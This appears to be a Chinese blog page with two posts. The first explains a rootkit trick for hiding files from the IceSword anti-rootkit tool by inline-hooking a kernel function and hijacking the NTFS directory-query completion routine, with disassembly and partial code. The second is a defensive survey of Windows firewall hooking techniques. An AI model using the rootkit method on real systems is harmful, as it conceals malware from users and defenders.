INIT:000952A8                 mov     dword ptr [esi+48h], offset _NtfsFsdWrite@8 ; NtfsFsdWrite(x,x)
INIT:000952AF                 mov     dword ptr [esi+5Ch], offset _NtfsFsdFlushBuffers@8 ; NtfsFsdFlushBuffers(x,x)
INIT:000952B6                 mov     dword ptr [esi+6Ch], offset _NtfsFsdFileSystemControl@8 ; NtfsFsdFileSystemControl(x,x)
INIT:000952BD                 mov     dword ptr [esi+80h], offset _NtfsFsdCleanup@8 ; NtfsFsdCleanup(x,x)
INIT:000952C7                 mov     dword ptr [esi+78h], offset _NtfsFsdShutdown@8 ; NtfsFsdShutdown(x,x)
INIT:000952CE                 mov     dword ptr [esi+0A4h], offset _NtfsFsdPnp@8 ; NtfsFsdPnp(x,x)
INIT:000952D8                 mov     dword ptr [esi+28h], offset _NtfsFastIoDispatch
INIT:000952DF                 mov     eax, offset _NtfsFsdDispatchWait@8 ; NtfsFsdDispatchWait(x,x)

  开头这部分是初始化驱动的分发历程,我们需要关注的是 mov     dword ptr [esi+68h], offset _NtfsFsdDirectoryControl@8 , 跟进来:
PAGE:00037FBD                 push    14Ch
PAGE:00037FC2                 push    offset unk_28848
PAGE:00037FC7                 call    __SEH_prolog
PAGE:00037FCC                 xor     edi, edi
PAGE:00037FCE                 mov     [ebp+var_1C], edi
PAGE:00037FD1                 call    ds:__imp__KeEnterCriticalRegion@0 ; KeEnterCriticalRegion()
PAGE:00037FD7                 push    1
PAGE:00037FD9                 push    1
PAGE:00037FDB                 lea     eax, [ebp+var_4C]
PAGE:00037FDE                 push    eax
PAGE:00037FDF                 call    _NtfsInitializeTopLevelIrp@12 ; NtfsInitializeTopLevelIrp(x,x,x)
PAGE:00037FE4                 mov     esi, eax
PAGE:00037FE6                 mov     [ebp+var_20], esi
PAGE:00037FE9
PAGE:00037FE9 loc_37FE9:                              ; CODE XREF: MakeRoomForAttribute(x,x,x,x)+2B19j
PAGE:00037FE9                 xor     ebx, ebx
PAGE:00037FEB                 mov     [ebp+ms_exc.disabled], ebx
PAGE:00037FEE                 cmp     [ebp+var_1C], ebx
PAGE:00037FF1                 jnz     short loc_3806C
PAGE:00037FF3                 mov     byte ptr [ebp+var_24], bl
PAGE:00037FF6                 push    [ebp+arg_4]
PAGE:00037FF9                 call    ds:__imp__IoIsOperationSynchronous@4 ; IoIsOperationSynchronous(x)   // 我想从这个函数下手
PAGE:00037FFF                 test    al, al
PAGE:00038001                 jz      short loc_38010
PAGE:00038003                 mov     byte ptr [ebp+var_24], 1
PAGE:00038007                 lea     eax, [ebp+var_15C]
PAGE:0003800D                 mov     [ebp+var_1C], eax
PAGE:00038010
PAGE:00038010 loc_38010:                              ; CODE XREF: NtfsFsdDirectoryControl(x,x)+44j
PAGE:00038010                 lea     eax, [ebp+var_1C]
PAGE:00038013                 push    eax
PAGE:00038014                 push    [ebp+var_24]
PAGE:00038017                 push    [ebp+arg_4]
PAGE:0003801A                 call    _NtfsInitializeIrpContext@12 ; NtfsInitializeIrpContext(x,x,x)


  这个dispatch routine的开始不远处有对IoIsOperationSynchronous的调用。我看能不能方便的hook这个函数,打开windbg,选择local kernel debuging。

lkd> u IoIsOperationSynchronous
nt!IoIsOperationSynchronous:
804f0808 8bff            mov     edi,edi
804f080a 55              push    ebp
804f080b 8bec            mov     ebp,esp
804f080d 8b4508          mov     eax,dword ptr [ebp+8]
804f0810 8b4860          mov     ecx,dword ptr [eax+60h]
804f0813 8b4918          mov     ecx,dword ptr [ecx+18h]
  好的,函数被导出。我们直接直接inline hook它。
  hook的代码片段:

//-----------------------------------------------------------
    GetKernelModuleAddress();
    
    HookFunction(kernelBaseAddress, "IoIsOperationSynchronous", MyIoIsOperationSynchronous, (ULONG*)&OldIoIsOperationSynchronous);
    
    irql = KeRaiseIrqlToDpcLevel();
    returnAddr = HookCode((PVOID)OldIoIsOperationSynchronous, (PVOID)MyIoIsOperationSynchronous);
    KeLowerIrql(irql);
//------------------------- code ends here--------------------
如何判断是否是在文件系统的IRP_MJ_DIRECTORY_CONTROL函数中被调用的呢?
    ULONG callerAddr = 0;
    _asm mov eax,[ebp+4]    // 得到返回地址
    _asm mov callerAddr,eax
    
    if(callerAddr - 0xbfefb69d < 120)  和fsd 的dispatch routine入口地址比较
    {
        HackIrp(Irp);
    }
  注:0xbfefb69d 这个是我调试的时候得到的地址,我直接硬编码了。

  到此为止,第一个问题解决了,所以现在可以捕获到icesword查询文件的irp了。


  第2个问题,如何接管完成函数。

  之前发现,ntfs驱动的dispatch routine是没有设置CompletionRoutine的。那么我就来给他设置一个。设置完成函数的api是IoSetCompletionRoutine。但是这个函数是给下层驱动设置完成函数的。我们现在是需要给当前的 stack location 设置CompletionRoutine。ok,看一下IoSetCompletionRoutine,从wrk中找源码:

#define IoSetCompletionRoutine( Irp, Routine, CompletionContext, Success, Error, Cancel ) {
    PIO_STACK_LOCATION __irpSp;                                              
    ASSERT( ((Success) | (Error) | (Cancel)) ? (Routine) != NULL : TRUE );    
    __irpSp = IoGetNextIrpStackLocation( (Irp) );                            
    __irpSp->CompletionRoutine = (Routine);                                  
    __irpSp->Context = (CompletionContext);                                  
    __irpSp->Control = 0;                                                    
    if ((Success)) { __irpSp->Control = SL_INVOKE_ON_SUCCESS; }              
    if ((Error)) { __irpSp->Control |= SL_INVOKE_ON_ERROR; }                  
    if ((Cancel)) { __irpSp->Control |= SL_INVOKE_ON_CANCEL; } }

  看了源码马上知道该怎么做了。(如果你还没知道那就不用知道了...)
  ok,下面为fsd处理IRP_MJ_DIRECTORY_CONTROL的routine设置CompletionRoutine

irpSp->CompletionRoutine = MyFilterFiles;
irpSp->Context = Irp->UserBuffer;
irpSp->Control = 0;
irpSp->Control = SL_INVOKE_ON_SUCCESS;
irpSp->Control |= SL_INVOKE_ON_ERROR;
irpSp->Control |= SL_INVOKE_ON_CANCEL;

  函数MyFilterFiles是被我们控制的,所以我们可以在里面隐藏掉想要隐藏的文件。MyFilterFiles的实现不写了,参见cardmagic就可以了。

  做到这里我认为我可以成功了,但是我拿到虚拟机里一试,机器篮屏了。出错的module是icesword的驱动。郁闷了。这是vxk提醒了我。原来icesword自己设置了完成函数。下断点,调试,icesword果然有自己的完成函数。(严重感谢vxk)解决这个问题不难,不管它的完成函数是怎么实现的,CompletionRoutine的函数原型基本是固定的。所以我只需要在MyFilterFiles处理完Irp->UserBuffer后 , push参数进去,然后call icesword的完成函数就行了。


  至此,突破icesword实现文件隐藏的全部工作完成了。完整的代码我不就放出来的。对于写rootkit的人们来说知道了思路就已经足够了。放完整的代码出来如果被一些流氓直接a过去就不和谐了。

  另外,要想比较完美的实现还有几个小细节问题要处理。譬如如何得到IRP_MJ_DIRECTORY_CONTROL处理routine的正确地址,这个可以像icesword一样map 磁盘文件,然后自己计算。其余的问题我一时想不起来了,昨天失眠……

Posted in 未分类 | Leave a comment

Windows软件防火墙实现技术简述

创建时间:2007-06-18
文章属性:原创
文章提交:baiyuanfan (baiyuanfan_at_163.com)

Windows软件防火墙实现技术简述
                        author : baiyuanfan mail : baiyuanfan@163.com  
                        July 1st 2006


关键字:
    封包过滤技术,NDIS钩子,应用程序访问网络控制,TDI钩子,智能行为监控,反流氓软件,自我保护技术。

本文简要介绍了目前流行的Windows软件防火墙的各个功能组件,及其实现方法。

内容目录:
•    Windows软件防火墙的发展概况
•    封包过滤技术
•    应用程序访问网络控制
•    智能行为监控
•    反流氓软件技术
•    自我保护技术
•    附录




Windows软件防火墙的发展概况

    从Windows软件防火墙的诞生开始,这种安全防护产品就在跟随着不断深入的黑客病毒与反黑反毒之争,不断的进化与升级。从最早期的只能分析来源地址,端口号以及未经处理的报文原文的封包过滤防火墙,后来出现了能对不同的应用程序设置不同的访问网络权限的技术;近年来由ZoneAlarm等国外知名品牌牵头,还开始流行了具有未知攻击拦截能力的智能行为监控防火墙;最后,由于近来垃圾插件和流氓软件的盛行,很多防火墙都在考虑给自己加上拦截流氓软件的功能。综上,Windows软件防火墙从开始的时候单纯的一个截包丢包,堵截IP和端口的工具,发展到了今天功能强大的整体性的安全套件。
    接下来本文就对一个Windows软件防火墙应当拥有的这些组件进行一个简要的技术介绍。



封包过滤技术

    封包过滤技术是最原始的防火墙所拥有的第一种功能。但是该功能简单强大,直到现在都是任何一个防火墙必不可少的功能。
    想要在网络数据包到达应用程序之前拦截之,就要在系统的网络协议栈上面安装过滤钩子。对Windows NT系列内核来说,可能安装过滤钩子的地方大致是这么几个,从高层到底层排序:SPI层(早期的天网防火墙 ),AFD层(资料缺乏,尚无例子),TDI层(不少国内墙),NDIS层(ZoneAlarm,Outpost等)。越位于高层,则产品开发难度越低,但是功能越弱,越容易被攻击者所穿越。由于NDIS层的防火墙具有功能强大,不易被穿透等优点,近来各大防火墙厂商的趋势是选择NDIS层来做包过滤。
    目前比较流行的NDIS钩子技术有两种。一种是挂接ndis.sys模块的导出函数,从而能够在每个ndis protocol注册的时候截获其注册过程,从而替换其send(packets)handler和receive(packet)handler。这个方法的缺点是在第一次安全之后无法立刻生效,必须要重起一次,而且要禁用的话,也必须重起。
    2004年12月的时候,www.rootkit.com上面的一名黑客发表了一篇著名的文章:“Hooking into NDIS and TDI, part 1”(http://www.rootkit.com/newsread.php?newsid=219)。这篇文章本意是为rootkit作者们提供一种挂接底层驱动实现端口重用的方法,但是这篇文章揭示了一个全新的技术:通过动态的注册ndis假协议,可以获得ndis protocol的链表地址。得到这个地址之后就能不通过重起,就能替换并监控每个ndis protocol的send(packets)handler和receive(packet)handler,并且可以动态的卸载监控模块不需要重起。在这篇文章出现之后,很多防火墙厂商都悄悄地对自己的产品进行了升级。目前的ZoneAlarm等产品就是使用这种技术,可以在安装后即时发挥作用。这个例子更充分的体现了,黑客和反黑技术本来就是相辅相成的,本源同一的。

    这里给出一个寻找该链表头的代码例子:
该函数返回的NDIS_HANDLE就是链表头地址。

NDIS_HANDLE RegisterBogusNDISProtocol(void)
{
    NTSTATUS Status = STATUS_SUCCESS;
    NDIS_HANDLE hBogusProtocol = NULL;
    NDIS_PROTOCOL_CHARACTERISTICS BogusProtocol;
    NDIS_STRING ProtocolName;

    NdisZeroMemory(&BogusProtocol,sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
    BogusProtocol.MajorNdisVersion = 0x04;
    BogusProtocol.MinorNdisVersion = 0x0;

    NdisInitUnicodeString(&ProtocolName,L"BogusProtocol");
    BogusProtocol.Name = ProtocolName;
    BogusProtocol.ReceiveHandler = DummyNDISProtocolReceive;
    BogusProtocol.BindAdapterHandler = dummyptbindadapt;
    BogusProtocol.UnbindAdapterHandler = dummyptunbindadapt;

    NdisRegisterProtocol(&Status,&hBogusProtocol,&BogusProtocol,
        sizeof(NDIS_PROTOCOL_CHARACTERISTICS));

    if(Status == STATUS_SUCCESS){ return hBogusProtocol;}
    else {
#ifdef bydbg
        DbgPrint("ndishook:cannot register bogus protocol:%xn",Status);
        DbgBreakPoint();
#endif
        return NULL;
    }
}

得到这个ndis protocol的链表后,遍历表中的每一个ndis protocol,对于每一个ndis protocol,又各有一个链表,用来描述和该ndis protocol有联系的所有ndis miniport和该ndis protocol绑定的状态。每个这种状态块,叫做一个ndis open block。每个绑定的send(packets)handler和receive(packet)handler都在这个ndis open block里面。

struct _NDIS_OPEN_BLOCK
{
#ifdef __cplusplus
    NDIS_COMMON_OPEN_BLOCK NdisCommonOpenBlock;
#else
    NDIS_COMMON_OPEN_BLOCK;
#endif

#if defined(NDIS_WRAPPER)
    
    //
    // The stuff below is for CO drivers/protocols. This part is not allocated for CL drivers.
    //
    struct _NDIS_OPEN_CO
    {
    ....
    };
#endif
};

typedef struct _NDIS_COMMON_OPEN_BLOCK
{
    PVOID                       MacHandle;          // needed for backward compatibility
    NDIS_HANDLE                 BindingHandle;      // Miniport's open context
    PNDIS_MINIPORT_BLOCK        MiniportHandle;     // pointer to the miniport
    PNDIS_PROTOCOL_BLOCK        ProtocolHandle;     // pointer to our protocol
    NDIS_HANDLE                 ProtocolBindingContext;// context when calling ProtXX funcs
    PNDIS_OPEN_BLOCK            MiniportNextOpen;   // used by adapter's OpenQueue
    PNDIS_OPEN_BLOCK            ProtocolNextOpen;   // used by protocol's OpenQueue
    NDIS_HANDLE                 MiniportAdapterContext; // context for miniport
    BOOLEAN                     Reserved1;
    BOOLEAN                     Reserved2;
    BOOLEAN                     Reserved3;
    BOOLEAN                     Reserved4;
    PNDIS_STRING                BindDeviceName;
    KSPIN_LOCK                  Reserved5;
    PNDIS_STRING                RootDeviceName;

    //
    // These are referenced by the macros used by protocols to call.
    // All of the ones referenced by the macros are internal NDIS handlers for the miniports
    //
    union
    {
        SEND_HANDLER            SendHandler;
        WAN_SEND_HANDLER        WanSendHandler;
    };
    TRANSFER_DATA_HANDLER       TransferDataHandler;

    //
    // These are referenced internally by NDIS
    //
    SEND_COMPLETE_HANDLER       SendCompleteHandler;
    TRANSFER_DATA_COMPLETE_HANDLER TransferDataCompleteHandler;
    RECEIVE_HANDLER             ReceiveHandler;
    RECEIVE_COMPLETE_HANDLER    ReceiveCompleteHandler;
    WAN_RECEIVE_HANDLER         WanReceiveHandler;
    REQUEST_COMPLETE_HANDLER    RequestCompleteHandler;

    //
    // NDIS 4.0 extensions
    //
    RECEIVE_PACKET_HANDLER      ReceivePacketHandler;
    SEND_PACKETS_HANDLER        SendPacketsHandler;

    //
    // More Cached Handlers
    //
    RESET_HANDLER               ResetHandler;
    REQUEST_HANDLER             RequestHandler;
    RESET_COMPLETE_HANDLER      ResetCompleteHandler;
    STATUS_HANDLER              StatusHandler;
    STATUS_COMPLETE_HANDLER     StatusCompleteHandler;
    
#if defined(NDIS_WRAPPER)
    ....
#endif

} NDIS_COMMON_OPEN_BLOCK;

需要处理的,是ndis open block里面的SendHandler,ReceiveHandler,WanReceiveHandler,ReceivePacketHandler和SendPacketsHandler。

一定要注意的是,不同于很多文章中的描述,主要处理SendHandler和ReceiveHandler,正确的应该是主要处理ReceivePacketHandler和SendPacketsHandler,现在的主流网卡和系统驱动,都是使用后面两者。



应用程序访问网络控制

    以往的防火墙只能古板的允许或者禁止整个系统去访问网络上的目标,比如允许了系统可以访问外网的http端口,就允许了所有进程,不能只控制IE等几个进程有权这样做。该技术的出现解决了这个问题,对每个陌生的进程都会询问客户是否允许访问网络,因此还有一定的查杀未知木马病毒的能力。
    由于NDIS里面的那些send/receive handler全都是由tdi缓冲之后再调用的,运行的上下文全都是kernel,并且不保存原先进行tdi操作的进程号,因此在封包过滤的NDIS钩子层次无法取得进行操作的进程ID。想要解决应用程序访问网络控制的问题,就需要在tdi或者更高的层次上使用钩子。一般来说,主流是使用tdi钩子,在进程的网络调用栈进行到tdi的TDI_CONNECT,TDI_LISTEN,TDI_RECEIVE,TDI_SET_EVENT_HANDLER等调用时,进行进程判断和提示。
    对于winsock的应用程序来说,最重要的是主动连接请求,TDI_CONNECT;接受连接请求,TDI_SET_EVENT_HANDLER中的TDI_EVENT_CONNECT。对于udp收发,还要处理TDI_SEND_DATAGRAM,TDI_RECEIVE_DATAGRAM和TDI_SET_EVENT_HANDLER中的TDI_EVENT_RECEIVE_DATAGRAM请求。这个时候,直接PsGetCurrentProcessId就可以得到进程号。
    tdi钩子有一个问题,就是对于TDI_SET_EVENT_HANDLER的hook,很可能不能及时发挥作用,必须要重起以后。由于不像ndis钩子需要hook系统函数或者修改系统数据结构,tdi钩子可以直接使用微软提供的过滤器驱动程序接口,在安装编写上要比ndis钩子简单的多,IoAttachDeviceToDeviceStack就可以了。
    给出一段detour的tdi的dispatch routine的代码:


NTSTATUS hook_disp(IN PDEVICE_OBJECT parampdrvob, IN PIRP irp)
{
    ....

    case IRP_MJ_INTERNAL_DEVICE_CONTROL:
        switch(irpsp->MinorFunction)
    {
            ///原来想得要监控的几个似乎afd并不使用,而是用set event handler
        case TDI_LISTEN:
#ifdef bydbg
            DbgPrint("bytdiflt:TDI_LISTEN traped.should caused by kmd other than AFD.n");

#endif
            stat=gettcpportbyfile(irpsp->FileObject);
#ifdef bydbg
            DbgPrint("bytdiflt:**********TDI_EVENT_CONNECT port:%d.***********n",stat);
#endif
            if(stat==0 || stat==-1){break;}//non-tcp or internal error
            if(denyport[(unsigned short)stat]==1)//直接失败请求
            {
#ifdef bydbg
                DbgPrint("bytdiflt:*********port %d blocked!!*********n",stat);
                //DbgBreakPoint();
#endif
                stat=STATUS_ACCESS_VIOLATION;
                irp->IoStatus.Status=stat;
                irp->IoStatus.Information=0;
                IoCompleteRequest(irp, IO_NO_INCREMENT);

                return stat;
            }
            break;

        case TDI_RECEIVE:
#ifdef bydbg
            DbgPrint("bytdiflt:TDI_RECEIVE traped.should caused by kmd other than AFD.n");
            //DbgBreakPoint();
#endif
            break;
        case TDI_SET_EVENT_HANDLER:
#ifdef bydbg
            DbgPrint("bytdiflt:TDI_SET_EVENT_HANDLER traped.req local_node:%xn",irpsp->FileObject);
            DbgPrint("TDI_SET_EVENT_HANDLER EventType:%d EventHandler:%x EventContext:%xn",
                ((TDI_REQUEST_KERNEL_SET_EVENT*)&(irpsp->Parameters))->EventType,
                ((TDI_REQUEST_KERNEL_SET_EVENT*)&(irpsp->Parameters))->EventHandler,
                ((TDI_REQUEST_KERNEL_SET_EVENT*)&(irpsp->Parameters))->EventContext
               &nbsp ;) ;
#endif
            switch(((TDI_REQUEST_KERNEL_SET_EVENT*)&(irpsp->Parameters))->EventType){
            case TDI_EVENT_CONNECT:
                tmpstrptr="TDI_EVENT_CONNECT";
                stat=gettcpportbyfile(irpsp->FileObject);
#ifdef bydbg
                DbgPrint("bytdiflt:**********TDI_EVENT_CONNECT port:%d.***********n",stat);
#endif
                if(stat==0 || stat==-1){break;}//non-tcp or internal error
                if(denyport[(unsigned short)stat]==1)//完成请求但不做事情
                {
#ifdef bydbg
                    DbgPrint("bytdiflt:*********port %d blocked!!*********n",stat);
                    //DbgBreakPoint();
#endif
                    stat=STATUS_SUCCESS;
                    irp->IoStatus.Status=stat;
                    irp->IoStatus.Information=0;
                    IoCompleteRequest(irp, IO_NO_INCREMENT);
                    return stat;
                }
                break;

            case TDI_EVENT_RECEIVE:
                tmpstrptr="TDI_EVENT_RECEIVE";
                break;
            case TDI_EVENT_CHAINED_RECEIVE:
                tmpstrptr="TDI_EVENT_CHAINED_RECEIVE";
                break;
            case TDI_EVENT_RECEIVE_EXPEDITED:
                tmpstrptr="TDI_EVENT_RECEIVE_EXPEDITED";
                break;
            case TDI_EVENT_CHAINED_RECEIVE_EXPEDITED:
                tmpstrptr="TDI_EVENT_CHAINED_RECEIVE_EXPEDITED";
                break;
            case TDI_EVENT_RECEIVE_DATAGRAM:
                tmpstrptr="TDI_EVENT_RECEIVE_DATAGRAM";
                break;

            default:
                tmpstrptr="Other TDI_EVENT";
                break;
            }
#ifdef bydbg
            DbgPrint("EventType is:%sn",tmpstrptr);
#endif
            break;
        case TDI_CONNECT://处理主动外出连接
            stat=gettcpportbyfile(irpsp->FileObject);
#ifdef bydbg
            if(stat==0 || stat==-1)//non-tcp or internal error
            {DbgPrint("bytdiflt:**********TDI_CONNECT local port UNKNOWN.***********n");}
            else
            {DbgPrint("bytdiflt:**********TDI_CONNECT local port:%d.************n",stat);}
            //DbgBreakPoint();
#endif
            break;

    ....


    PsGetCurrentProcessId....//判断进程号

    ....
}



智能行为监控

    随着防火墙的发展,现在的ZoneAlarm,Kaspersky等都发展成了所谓的“安全套件”,能够多方位的保护用户的系统。查杀未知的病毒和木马是所有防火墙厂商都非常注视的一环。在目前来说,查杀未知病毒木马,最行之有效的方法,就是类似于ZoneAlarm,Karpasky Internet Security,Mcafee,System Safety Monitor等安全工具的智能行为监控手段。实践证明,这种智能行为监控针对未知的恶意软件有着强大的杀伤力。例如,灰鸽子无论如何加壳变形,能够躲过杀毒软件的查杀,也不能逃避ZoneAlarm的智能行为监控;很多地下流传的没有公开的木马,放上去安装,在安装过程中也一样会报警;甚至很多0day overflow exploit在执行过程中就会报警。可以说,这个可能是目前最有前景的防火墙新技术。

    例如,一个智能行为监控模块,可以监控以下进程行为,并且判定为恶意软件或者提示用户,让用户选择是否允许:

    把自己注册成每次开机自动启动;

    装载可疑的内核驱动程序;

    注册未知的新服务;

    修改或者替换系统重要文件;

    使用raw_socket接口;

    可疑的word宏或者脚本;

    可疑的邮件附件例如可执行程序;

    安装windows消息钩子;

    创建远程线程到其他程序;

    创建受控制的傀儡进程;

    对系统API的请求来源代码和数据区在同一区域;


    监控上述的这些行为,全部都可以使用系统钩子,消息钩子和API钩子等技术来实现,洗劫这里就不详细谈了,熟悉hook的技术人员都应该知道怎么做了。



反流氓软件技术

    目前的信息安全领域,由于病毒的不可控性和黑客的技术门槛提高,黑客攻击和病毒攻击均有大幅度减少的趋势。但是一种新型的安全威胁却在日益的发展壮大,这种很不同于传统病毒的安全威胁,就是从开始就彻底的有明确商业目的的流氓软件。这种软件为了自己的商业利益,不惜牺牲客户的权益,强行在客户的浏览器上安装,驻留系统,强制制止用户卸载或者删除自己。这类软件也带来了非常大的麻烦,经常性地弹出广告页面,篡改用户浏览器主页,篡改用户浏览器搜索引擎,降低用户系统性能,更严重的是很多设计低劣的流氓软件会让用户的系统变得很不稳定,经常性的死机和重起。大量的防火墙客户对流氓软件深恶痛绝,希望防火墙能够在流氓软件安装的时候能够提示客户,给客户一个选择的机会。因此这也成了新一代防火墙应该拥有的功能模块。
    由于流氓软件不同于一般病毒木马,有着强大的商业支持,升级换代非常快,并且碍于各方面的影响,防火墙和杀毒软件不好将其作为病毒木马来查杀,否则可能会引起法律和商业等背景关系上面的很多问题,所以比较好的一个选择,就是防火墙厂商使用行为监控方法来提示用户流氓软件的安装。

    流氓软件除了拥有普通木马或病毒的以下几个特征,

    把自己注册成每次开机自动启动;

    装载可疑的内核驱动程序;

    注册未知的新服务;

之外,还有一个很重要的特征就是劫持浏览器。以下的为了避免麻烦,均不举软件实例。    

    HKLMSoftwareMicrosoftWindowsCurrentVersionExplorerBrowser Helper Objects,这个被叫做BHO插件的东西,是最多流氓软件和ie插件的栖身之所,监控这个健值是最重要的;

    HKCUSoftwareMicrosoftInternet ExplorerUrlSearchHooks,这个健值可用来劫持搜索引擎;

    HKLMSoftwareMicrosoftInternet ExplorerToolbar,很多浏览器插件也会注册在这里;

    HKCUSoftwareMicrosoftInternet ExplorerExplorer Bars            HKLMSoftwareMicrosoftInternet ExplorerExplorer Bars            HKCUSoftwareMicrosoftInternet ExplorerExtensions                HKLMSoftwareMicrosoftInternet ExplorerExtensions                这四个键值也有流氓插件钻入的可能。


    HKLMSOFTWAREMicrosoftInternet ExplorerMain和    HKCUSOFTWAREMicrosoftInternet ExplorerMain这两个子目录下面有大量的IE首页,搜索页面等敏感信息需要保护或者提示用户,这里就不仔细说了。                            



附录

感谢:
    谢谢xfocus(www.xfocus.net),CVC(www.retcvc.com)和0x557的所有朋友,尤其是xyzreg(张翼)和vxk(张凌峰)。祝所有朋友心想事成。

作者简介:
    白远方,联系方式:baiyuanfan@163.com,baiyuanfan@gmail.com。拥有一个工作室,"SteelKernel"。非常熟悉windows底层和内核,熟悉缓冲区溢出,木马病毒设计和防火墙等技术。欢迎朋友们联系。

Posted in 未分类 | Leave a comment